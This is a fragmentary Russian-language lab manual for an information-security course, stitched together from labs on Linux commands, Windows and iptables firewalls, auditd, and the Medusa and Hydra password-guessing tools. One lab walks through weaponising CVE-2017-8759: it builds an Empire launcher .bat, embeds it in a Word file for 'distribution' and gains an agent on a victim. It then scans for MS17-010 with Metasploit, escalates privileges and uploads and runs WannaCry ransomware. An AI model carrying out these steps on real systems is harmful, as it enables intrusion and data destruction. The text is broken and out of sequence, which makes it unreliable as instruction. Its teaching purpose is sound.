КРИТЕРИИ
Критерий Описание
-name поиск файлов по имени
-perm поиск файлов в Linux по режиму доступа
-user поиск файлов по владельцу
-group поиск по группе
-mtime поиск по времени модификации файла
-atime поиск файлов по дате последнего чтения
-nogroup поиск файлов, не принадлежащих ни одной
группе
-nouser поиск файлов без владельцев
-newer найти файлы новее чем указанный
-size поиск файлов в Linux по их размеру
С опциями:
grep [опция] [ОБРАЗЕЦ]
Опции grep:
Опция Описание
-b Предваряет каждую строку номером блока, в котором она была
найдена. Это может пригодиться при поиске блоков по контексту
(блоки нумеруются с 0).
-c Выдает только количество строк, содержащих образец.
-h Предотвращает выдачу имени файла, содержащего
сопоставившуюся строку, перед собственно строкой. Используется
при поиске по нескольким файлам.
-i Игнорирует регистр символов при сравнениях.
-l Выдает только имена файлов, содержащих сопоставившиеся
строки, по одному в строке. Если образец найден в нескольких
строках файла, имя файла не повторяется.
-n Выдает перед каждой строкой ее номер в файле (строки
нумеруются с 1).
-s Подавляет выдачу сообщений о не существующих или
недоступных для чтения файлах.
-v Выдает все строки, за исключением содержащих образец.
-w Ищет выражение как слово, как если бы оно было окружено
метасимволами \< и \>.
Группирование команд
Группы команд или сложные команды могут формироваться с
помощью специальных символов (метасимволов):
& - процесс выполняется в фоновом режиме, не дожидаясь окончания
предыдущих процессов;
? - шаблон, распространяется только на один символ;
* - шаблон, распространяется на все оставшиеся символы;
| - программный канал - стандартный вывод одного процесса является
стандартным вводом другого;
> - переадресация вывода в файл;
< - переадресация ввода из файла;
; - если в списке команд команды отделяются друг от друга точкой с
запятой, то они выполняются друг за другом;
&& - эта конструкция между командами означает, что последующая
команда выполняется только при нормальном завершении предыдущей
команды ( код возврата 0 );
|| - последующая команда выполняется только, если не выполнилась
предыдущая команда ( код возврата 1 );
() - группирование команд в скобки;
{ } - группирование команд с объединенным выводом;
[] - указание диапазона или явное перечисление ( без запятых);
>> - добавление содержимого файла в конец другого файла.
Примеры.
who | wc - подсчет количества работающих пользователей командой wс
(word count - счет слов);
cat text.1 > text.2 - содержимое файла text.1 пересылается в файл text.2;
mail student < file.txt - электронная почта передает файл file.txt всем
пользователям, перечисленным в командной строке;
cat text.1,text.2 - просматриваются файлы text.1 и text.2;
cat text.1 >> text.2 - добавление файла text.1 в конец файла text.2;
cc primer.c & - трансляция СИ - программы в фоновом режиме. Имя
выполняемой программы по умолчанию a.out.
cc -o primer.o primer.c - трансляция СИ-программы с образованием
файла выполняемой программы с именем primer.o;
rm text.* - удаление всех файлов с именем text;
{cat text.1; cat text.2} | lpr - пpосмотp файлов text.1 и text.2 и вывод их
на печать;
ps [al] [number] - команда для вывода информации о процессах:
-a - вывод информации обо всех активных процессах, запущенных с
вашего терминала;
-l - полная информация о процессах;
number - номер процесса.
Команда ps без параметров выводит информацию только об активных
процессах, запущенных с данного терминала, в том числе и фоновых. На
экран выводится подробная информация обо всех активных процессах в
следующей форме:
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME
CMD
1 S 200 210 7 0 2 20 80 30 703a 03 0:07 cc
1 R 12 419 7 11 5 20 56 20 03 0:12 ps
Контрольные вопросы
Задание
✔ Запускаем Linux. После прохождения идентификации включаем
терминал (рис. 7).
Applications > Accessories > Terminal
Рис.7. Терминал Linux Ubuntu
Примечание
o Чтобы изменения некоторых параметров вступили в силу,
необходимо перезапустить устройство.
o Изменения прав пользователя вступают в силу при его
следующем входе в учетную запись.
Настройка параметра политики безопасности с помощью консоли
редактора локальной групповой политики
Для выполнения описанных действий у вас должны быть разрешения,
позволяющие устанавливать и использовать консоль управления (MMC), а
также обновлять объект групповой политики (GPO) на контроллере домена.
1. Откройте редактор локальной групповой политики (gpedit.msc).
2. В дереве консоли щелкните раздел Конфигурация
компьютера, Параметры Windows, а затем Параметры
безопасности.
3. Выполните одно из указанных ниже действий.
o Разверните узел Политики учетных записей, чтобы изменить
параметры раздела Политика паролей или Политика
блокировки учетной записи.
o Разверните узел Локальные политики, чтобы изменить
параметры раздела Политика аудита, Назначение прав
пользователя или Параметры безопасности.
4. В области сведений дважды щелкните параметр политики
безопасности, который вы хотите изменить.
Примечание
Если эта политика безопасности еще не определена, установите флажок
Определить параметры политики.
Примечание
Если вы хотите настроить параметры безопасности для нескольких устройств
в сети, для этого можно использовать консоль управления групповыми
политиками
Задание
✔ Ознакомиться с теоретической частью к лабораторной работе.
✔ Практически выполнить пункты указанные (настроить парольные
политики) в лабораторной работе.
✔ Продемонстрировать преподавателю выполненные работы.
Контрольные вопросы
✔ В каких версиях ОС Windows имеются консоли
администрирования групповых политик безопасности?
✔ Какой срок действия паролей самый оптимальный?
✔ В локальной политике безопасности, какие группы политик
присутствуют и для чего они?
Лабораторная работа №5. Включение, настройка и отключение
брандмауэра Windows
Как включить
По умолчанию эта защитная утилита в Windows всегда включена. Но
если вы увидели, что она не работает, нужно ее активировать.
1. Панель управления > Брандмауэр > Включение и отключение
брандмауэра Windows.
Настройка
Добавление исключений
Открытие портов
Для увеличения безопасности компьютера утилита блокирует все
подключения по неосновным портам. Но если пользователю нужно
подключить, к примеру ftp-сервер, появится трафик по порту 20 и 21.
Поэтому их нужно открыть.
1. Панель управления > Брандмауэр > Дополнительные параметры >
откроется окно «Брандмауэр в режиме повышенной безопасности».
Примечание
Если нужно сделать свободный доступ ко всем портам для определенной
программы, установите переключатель в положение «Для программы».
Примечание
Отключение
Отключение защитной утилиты может понадобиться, если она мешает работе
определенной программы, и ее добавление в исключения не помогает. Также
защитник Windows лучше отключить, если вы установили на компьютер
другой файервол.
В Панели управления
С помощью Служб
Введите в окне «Выполнить» команду: services.msc.
Задание
✔ Ознакомиться с Брандмауэром OC Windows;
✔ Настроить Брандмауэр своей системы;
✔ Просмотреть все вкладки Брандмауэра.
Контрольные вопросы
✔ Для чего предназначен Брандмауэр Windows?
✔ Для чего добавляются исключения в защитнике Windows?
✔ Какие правила можно создавать в Брандмауэр Windows?
Лабораторная работа №6. Настройка Linux-файрвола iptables
Основные понятия
Архитектура
В системе netfilter, пакеты пропускаются через цепочки. Цепочка является
упорядоченным списком правил, а каждое правило может содержать
критерии и действие или переход. Когда пакет проходит через цепочку,
система netfilter по очереди проверяет, соответствует ли пакет всем
критериям очередного правила, и если так, то выполняет действие (если
критериев в правиле нет, то действие выполняется для всех пакетов
проходящих через правило). Вариантов возможных критериев очень много.
Например, пакет соответствует критерию –source 192.168.1.1 если в
заголовке пакета указано, что отправитель — 192.168.1.1. Самый простой тип
перехода, –jump, просто пересылает пакет в начало другой цепочки. Также
при помощи –jump можно указать действие. Стандартные действия
доступные во всех цепочках — ACCEPT (пропустить), DROP (удалить),
QUEUE (передать на анализ внешней программе), и RETURN (вернуть на
анализ в предыдущую цепочку). Например, команды
Цепочки
Таблицы
Состояния
В системе netfilter, каждый пакет проходящий через механизм определения
состояний, может иметь одно из четырёх возможных состояний:
● NEW — пакет открывает новый сеанс. Классический пример — пакет
TCP с флагом SYN.
● ESTABLISHED — пакет является частью уже существующего сеанса.
● RELATED — пакет открывает новый сеанс, связанный с уже открытым
сеансом. Например, во время сеанса пассивного FTP, клиент
подсоединяется к порту 21 сервера, сервер сообщает клиенту номер
второго, случайно выбранного порта, после чего клиент
подсоединяется ко второму порту для передачи файлов. В этом случае
второй сеанс (передача файлов по второму порту) связан с уже
существующим сеансом (изначальное подсоединение к порту 21).
● INVALID — все прочие пакеты.
● sudo iptables -F
Если вы хотите удалить только цепочку INPUT или любую другую цепочку,
используйте следующие команды:
● iptables –L
Сохранение изменений
Ubuntu:
● sudo /sbin/iptables-save
Или
● =/etc/init.d/iptables save
Задание
✔ Установить IPtables (sudo apt-get install iptables);
✔ Настроить IPtables провести действия с соединениями (Accept,
Drop, Reject);
✔ Разрешить/запретить на подключение по портам tcp, ssh и др
(продемонстрировать);
✔ Разрешить/запретить на подключение по IP-адресам
(продемонстрировать);
✔ Блокирование портов (продемонстрировать);
✔ Блокировка сканирования порта используя iptables
(продемонстрировать);
✔ Написать отчет по проделанной работе.
Контрольные вопросы
Medusa [-h хост|-H файл] [-u имя_пользователя|-U файл] [-p пароль|-P файл] [-
C файл] -M модуль [OPT]
-h [ЦЕЛЬ]
Имя хоста или IP адрес сети.
-H [ФАЙЛ]
Считывает заданные цели из файла, а не из командной строки. Файл
должен содержать список, разделённый новыми строками.
-u [ЦЕЛЬ]
Целевое имя пользователя
-U [ФАЙЛ]
Считывать целевые имена пользователя из указанного файла, а не из
командной строки. Файл должен содержать список, разделённый
новыми строками.
-p [ЦЕЛЬ]
Целевой пароли.
-P [ФАЙЛ]
Считывать целевые пароли из указанного файла, а не из командной
строки. Файл должен содержать список, разделённый новыми строками.
-C [ФАЙЛ]
Файл, содержащий комбинированные записи. Комбинированные файлы
разделены двоеточиями и имеют следующий формат:
хост:пользователь:пароль. Если какое из этих полей оставлено пустым,
соответствующая информация должна быть указана как единичное
глобальное значение или как список в файле.
-O [ФАЙЛ]
Файл к которому добавляет информация журнала. Medusa будет вести
журнал всех валидных учётных данных аккаунтов или которые вызвали
неизвестную ошибку. Также будет записано время запуска и остановки
аудита вместе с параметрами вызова.
-e [n/s/ns]
Дополнительные проверки пароля ([n] Без пароля, [s] Пароль =
Имя_Пользователя). Если используются обе опции, то они должны быть
указаны вместе ("-e ns"). Если вызывается только одна опция,
используйте или "-e n" или "-e s".
-M [ТЕКСТ]
Имя модуля для выполнения (без расширения .mod).
-m [ТЕКСТ]
Параметр, передаваемый модулю. Можно использовать несколько раз,
каждый раз с другим параметром, и они все будут отправлены модулю
(например, -m Param1 -m Param2 и т.д.)
-d
Показать список всех модулей.
-n [ЧИСЛО]
Использовать номер TCP порта, отличный от используемого службой по
умолчанию.
-s
Включить SSL.
-g [ЧИСЛО]
Сдаться после попыток подключения в течение ЧИСЛО секунд (по
умолчанию 3).
-r [ЧИСЛО]
Засыпать на ЧИСЛО секунд между повтором попыток (по умолчанию
3).
-R [ЧИСЛО]
Пытаться ЧИСЛО раз перед признанием неудачи. Общее число попыток
будет ЧИСЛО + 1.
-c [ЧИСЛО]
Установить количество микросекунд, ожидаемое во время теста по
установлению сетевого сокета. Некоторые службы (например, FTP,
IMAP, POP3 и SMTP) могут быть настроены на закрытие подключений
после произвольного числа неудачных попыток входа. Мы пробуем
повторно использовать установленное соединение для отправки
попыток аутентификации пока не случится отключение, в этом случае
подключение устанавливается повторно. Для завершения этого перед
аутентификацией внутри выбранных модулей, мы проверяем, жив ли
ещё сокет. По умолчанию выполняется 1 микросекундная проверка.
Может потребоваться намного большее значение. Например, 1000
микросекунд понадобилось при тестировании сервера vsftp чтобы не
возникало проблем с встроенным механизмом анти-брутфорса.
-t [ЧИСЛО]
Общее число логинов для одновременного тестирования. Следует
отметить, что приблизительно t x T потоков может быть одновременно
запущено.
-T [ЧИСЛО]
Общее количество хостов для одновременного тестирования.
-L
Параллельные логины с одним именем пользователя на поток. По
умолчанию полностью обрабатывается имя пользователя перед
продолжением.
-f
Остановить сканирования хоста после первого найденного
действительного имени_пользователя/пароля.
-F
Остановить аудит после первого найденного действительного
имени_пользователя/пароля на любом хосте.
-b
Подавить банер при запуске.
-q
Показать информацию по использованию модуля. Это следует
использовать вместе с опцией "-M". Например, "medusa -M smbnt -q".
-v [ЧИСЛО]
Уровень вербальности [0 – 6 (больше)]. Все сообщения на этом или
ниже этого уровня будут отображены. По умолчанию уровень равен 5.
-w [ЧИСЛО]
Уровень отладки ошибок [0 – 10 (больше)]. Будут отображаться все
сообщения на указанном уровне или уровнях ниже. Значение по
умолчанию — 5.
-V
Показать версию
-Z [ТЕКСТ]
Позволяет базовое восстановление предыдущего сканирования.
Передаваемый параметр описывает, какие хосты были завершены, какие
были частично протестированы, а какие не были начаты. Когда Medusa
получает SIG‐INT, она рассчитывает и отображает (карту
возобновления». Эта карта затем может быть указана при следующем
запуске. Например, "medusa [OPTIONS PREVIOUSLY USED] -Z
h6u1u2h8." В этом конкретном примере хосты 1-5 были завершены, хост
6 был частично выполнен (пользователь 1 был частично завершён и
пользователь 2 и далее не начинались), хост 7 был завершён и хост 8 и
далее не начинались. Medusa разберёт эту карту и пропустит хосты и
соответствующих пользователей. Если пользователь был начат, но не
был закончен, он быдут протестирован с начала соответствующего
списка паролей.
Oписание Hydra
Программа hydra поддерживает огромное количество служб, благодаря своей
быстроте и надёжности она завоевала заслуженную признательность среди
тестеров на проникновение.
Использование:
hydra -l user -P passlist.txt ftp://192.168.0.1
Опции:
./PasteZort
2. https://www.white-windows.ru/kak-iskusstvenno-vyzvat-sinij-ekran-
smerti-v-lyuboj-versii-windows/
3. https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault
4. https://www.andreafortuna.org/cybersecurity/volatility-my-own-
cheatsheet-part-7-analyze-and-convert-crash-dumps-and-hibernation-
files/
5. https://www.white-windows.ru/kak-iskusstvenno-vyzvat-sinij-ekran-
smerti-v-lyuboj-versii-windows/
6. https://www.kv.by/archive/index2008061109.htm
7. http://bsodstop.ru/poleznye-stati/analiz-dampa-pamyati
8. https://www.volatilityfoundation.org/about
9. http://bsod-help.ru/
10. http://www.spy-soft.net/the-volatility-framework/
11. https://www.howtoforge.com/tutorial/how-to-install-and-use-
volatility-memory-forensic-tool/
12. https://www.eduherald.ru/ru/article/view?id=17411
13. https://technical.nttsecurity.com/post/102egyy/hunting-malware-with-
memory-analysis
14. https://directory.fsf.org/wiki/Volatility
Лабораторная работа № 10. Реализация эксплойта на Windows NET
Framework(CVE-2017-8759).
Цель работы
Целью работы является наглядная эксплуатация уязвимости Windows
NET Framework (CVE-2017-8759). Научиться создавать .bat файл и внедрять
его в Word документ, также получить контроль над уязвимой системой.
Введение
12 сентября 2017 года, компания Microsoft представила патчи для
восьмидесяти с лишним проблем, 39 из которых допускали выполнение
произвольного кода. Среди устраненных проблем оказалась 0-day
уязвимость, которая уже использовалась для фактических атак, а также три
опасных бага, детальная информация о которых была опубликована до
выхода патчей.0-day уязвимость получила идентификатор CVE-2017-8759.
Она позволяет удаленно выполнять произвольный код на уязвимом
устройстве, эксплуатируя проблему в .NET Framework (а именно в парсере
SOAP WSDL (Web Services Description Language). Баг обнаружили
специалисты компании FireEye. После выхода патча они сообщили, что эту
уязвимость, еще в июле 2017 года, начали использовать для
распространения правительственной малвари FinFisher (вредонос также
известен под названиями FINSPY и WingBird).
Уязвимость нулевого дня, 0day (англ. zero day) — неустраненные
уязвимости, а также вредоносные программы, против которых еще не
разработаны защитные механизмы. Этот термин означает, что у
разработчиков было 0 дней на исправление дефекта: уязвимость или атака
становится публично известна до момента
выпуска исправлений производителем ПО (то есть потенциально уязвимость
может эксплуатироваться на работающих копиях приложения без
возможности защититься от нее). Уязвимость нулевого дня, 0day (англ. zero
day) — неустраненные уязвимости, а также вредоносные программы, против
которых еще не разработаны защитные механизмы. Этот термин означает,
что у разработчиков было 0 дней на исправление дефекта: уязвимость или
атака становится публично известна до момента выпуска исправлений
производителем ПО (то есть потенциально уязвимость может
эксплуатироваться на работающих копиях приложения без возможности
защититься от нее).
Уязвимости CVE-2017-8759 подвержены операционные системы
семейства Microsoft Windows. Эксплуатация данной уязвимости с
внедрением стороннего кода производится с помощью уязвимого компонента
Microsoft.NET Framework – SOAP WSDL Parser, позволяет получить
пользовательские права на уязвимой системе.
Ход работы
windows)
Рис. 4 Listeners
5) После командой «uselistener http» указать название для листенера. После
чего использовать команду «info» и вывести все данные об этом “листенере”,
необходимо изменить некоторые параметры командой.
8) Для создания бат - файла команда «usestager multi/launcher» => «set listener
http» => Execute. (рис.8). После чего должно сгенерироваться код, копируем
его в блокнот и сохраняем в формате .bat
11) После чего нужно закинуть файл в Word. Файл готов к распространению.
12) После чего необходимо запустить файл двумя кликами, находясь в одной
сети с жертвой. И в Empire приходит оповещение об активации агента.
1. Предварительная работа
1.1. Перед началом работы необходимо обновить дистрибутив Kali Linux и
инструмент Metasploit Framework выполнив следующие команды в консоли:
apt-get update
apt install metasploit-framework
1.2. Запускаем Metasploit Framework командой:
msfconsole
1.3. Запустим модуль проверки на наличие уязвимости в OC:
use auxiliary/scanner/smb/sbm_ms17_010
set RHOSTS «IP-адрес жертвы»
run
Если видим данное сообщение, то наша «жертва» уязвима к эксплоиту
3. Реализация вируса-вымогателя.
В сессии meterpreter прописываем команду: getuid, для просмотра нашего
уровня привилегий. Если они не системные, то прописываем команду:
getsystem
Затем загружаем программу-вымогатель на ПК жертвы, предварительно
скачав ее с интернета, командой:
upload /root/wannacry.exe C:\\
Далее запускаем командную строку и наше приложение:
shell
cd C:\\
wannacry.exe
● доступ к файлам;
● изменение прав на файлы;
● просмотр пользователей, изменивших конкретный файл;
● обнаружение несанкционированных изменений;
● мониторинг системных вызовов и функций;
● обнаружение аномалий, таких как сбои;
● мониторинг набора команд.
Установка и настройка
Конфигурирование
Настройки подсистемы аудита хранятся в конфигурационном файле
etc/audit/auditd.conf.
Рисунок 1 Конфигурационный файл
Создание правил
После опции -S идёт имя системного вызова, при котором событие нужно
перехватить (open, close и т.п.).
$ id user
Дополнение
active = no
direction = out
path = /sbin/audisp-remote
type = always
#args =
format = string
Чтобы активировать отправку логов в удалённое хранилище, заменим
значение параметра active на yes. Затем откроем файл etc/audisp/audisp-
remote.conf и в качестве значения параметра remote_server укажем буквенный
или IP-адрес cервера, на котором будут храниться логи.
tcp_listen_port = 60
tcp_listen_queue = 5
tcp_max_per_addr = 1
##tcp_client_ports = 1024-65535 #optional
tcp_client_max_idle = 0
Список литературы
1. https://habr.com/company/selectel/blog/267833/
2. https://1cloud.ru/help/security/audit-linux-c-pomoshju-auditd
3. https://xakep.ru/2011/03/30/54897/
4. https://www.systutorials.com/docs/linux/man/8-auditd/
5. https://xakep.ru/2011/03/30/54897/
6. http://rus-linux.net/MyLDP/admin/file-monitoring-with-
auditd.html